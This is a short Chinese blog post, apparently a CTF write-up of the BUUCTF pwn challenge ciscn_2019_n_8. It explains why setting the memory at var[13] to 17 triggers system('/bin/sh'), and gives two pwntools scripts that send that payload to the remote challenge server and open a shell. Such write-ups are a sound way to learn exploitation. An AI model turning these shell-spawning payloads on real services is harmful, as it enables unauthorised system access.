ciscn_2019_n_8 1

checksec一下能发现开了很多保护,吓人一跳,但其实我们分析一下发现只要var[13]为17就可以了
image
if ( *(_QWORD *)&var[13] )#判断var[13]开始的8字节(_QWORD表示64位,即8字节)内存区域是否非零。*(_QWORD *)&var[13]是将var[13]的地址转换为_QWORD(64位整数)指针,然后解引用得到该内存区域的值。
if ( *(_QWORD *)&var[13] == 17LL )#:如果该8字节内存区域的值等于17(17LL表示长整型常量17),则调用system("/bin/sh")执行系统命令/bin/sh,
将var数组全填上17即可:

点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",28867)
payload=p32(17)*13
io.sendline(payload)
io.interactive()
也可以
点击查看代码
from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p64(0x11)) # 32对应4个字节, 64对应8个字节
p.interactive()

QWORD是8个字节,所以要将var[13]的8个字节的数据赋值为17(即p64(17)),之前的是因为32位程序为4字节
posted @   fdddddd  阅读(13)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Ollama——大语言模型本地部署的极速利器
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示